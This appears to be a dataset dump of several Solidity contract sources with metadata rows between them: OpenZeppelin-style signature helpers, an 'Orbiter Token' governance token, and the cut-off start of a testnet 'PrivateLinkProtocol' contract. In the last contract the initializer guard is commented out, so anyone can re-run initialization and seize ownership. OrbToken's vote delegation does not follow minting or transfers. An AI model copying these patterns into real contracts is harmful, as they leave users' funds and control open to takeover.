address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
function recover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", StringsUpgradeable.toString(s.length), s));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
abstract contract Initializable {
uint8 private _initialized;
bool private _initializing;
event Initialized(uint8 version);
modifier initializer() {
bool isTopLevelCall = !_initializing;
require((isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),
"Initializable: contract is already initialized");
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier reinitializer(uint8 version) {
require(!_initializing && _initialized < version, "Initializable: contract is already initialized");
_initialized = version;
_initializing = true;
_;
_initializing = false;
emit Initialized(version);
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _disableInitializers() internal virtual {
require(!_initializing, "Initializable: contract is initializing");
if (_initialized < type(uint8).max) {
_initialized = type(uint8).max;
emit Initialized(type(uint8).max);
}
}
}
abstract contract EIP712Upgradeable is Initializable {
bytes32 private _HASHED_NAME;
bytes32 private _HASHED_VERSION;
bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
function __EIP712_init(string memory name, string memory version) internal onlyInitializing {
__EIP712_init_unchained(name, version);
}
function __EIP712_init_unchained(string memory name, string memory version) internal onlyInitializing {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
}
function _domainSeparatorV4() internal view returns (bytes32) {
return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash());
}
function _buildDomainSeparator(bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash);
}
function _EIP712NameHash() internal virtual view returns (bytes32) {
return _HASHED_NAME;
}
function _EIP712VersionHash() internal virtual view returns (bytes32) {
return _HASHED_VERSION;
}
uint256[50] private __gap;
}
contract EIP712ExternalUpgradeable is Initializable, EIP712Upgradeable {
function __EIP712External_init(string memory name, string memory version) internal onlyInitializing {
__EIP712_init_unchained(name, version);
}
function __EIP712External_init_unchained(string memory, string memory) internal onlyInitializing {}
function domainSeparator() external view returns (bytes32) {
return _domainSeparatorV4();
}
function verify(bytes memory signature,
address signer,
address mailTo,
string memory mailContents) external view {
bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(keccak256("Mail(address to,string contents)"), mailTo, keccak256(bytes(mailContents)))));
address recoveredSigner = ECDSAUpgradeable.recover(digest, signature);
require(recoveredSigner == signer);
}
function getChainId() external view returns (uint256) {
return block.chainid;
}
uint256[50] private __gap;
}
| 63,115 | 213 |
811c7312e1eb72d925381d1604b819ffc7b9b8cd45bf919060c1e073a5f499d8
| 41,714 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/d2/D2D6266c49AfE534f9D5699161D1dC19Ea75C448_OrbToken.sol
| 5,021 | 20,059 |
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
}
// OrbToken with Governance.
contract OrbToken is BEP20('Orbiter Token', 'ORB') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "ORB::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "ORB::delegateBySig: invalid nonce");
require(now <= expiry, "ORB::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "ORB::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying ORBs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "ORB::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 44,451 | 214 |
09fb55688a06d62e2bc1c7d06574ff2b91acec63289b5efcbe60d61a898498fa
| 41,411 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/de/De42a06c1694e003e83c0D88e9bBf4e66A6d762E_PrivateLinkProtocol.sol
| 5,126 | 20,418 |
pragma solidity 0.8.17;
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
_;
// require(_initializing || !_initialized, "Initializable: contract is already initialized");
//
// bool isTopLevelCall = !_initializing;
// if (isTopLevelCall) {
// _initializing = true;
// _initialized = true;
// }
//
// _;
//
// if (isTopLevelCall) {
// _initializing = false;
// }
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
interface IERC20PermitUpgradeable {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
abstract contract EIP712Upgradeable is Initializable {
bytes32 private _HASHED_NAME;
bytes32 private _HASHED_VERSION;
bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
function __EIP712_init(string memory name, string memory version) internal initializer {
__EIP712_init_unchained(name, version);
}
function __EIP712_init_unchained(string memory name, string memory version) internal initializer {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
}
function _domainSeparatorV4() internal view returns (bytes32) {
return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash());
}
function _buildDomainSeparator(bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash);
}
function _EIP712NameHash() internal virtual view returns (bytes32) {
return _HASHED_NAME;
}
function _EIP712VersionHash() internal virtual view returns (bytes32) {
return _HASHED_VERSION;
}
uint256[50] private __gap;
}
library ECDSAUpgradeable {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return recover(hash, r, vs);
} else {
revert("ECDSA: invalid signature length");
}
}
function recover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return recover(hash, v, r, s);
}
function recover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address) {
// the valid range for s in (281): 0 < s < secp256k1n 2 + 1, and for v in (282): v {27, 28}. Most
//
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,
"ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
library CountersUpgradeable {
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
uint256[45] private __gap;
}
abstract contract ERC20PermitUpgradeable is Initializable, ERC20Upgradeable, IERC20PermitUpgradeable, EIP712Upgradeable {
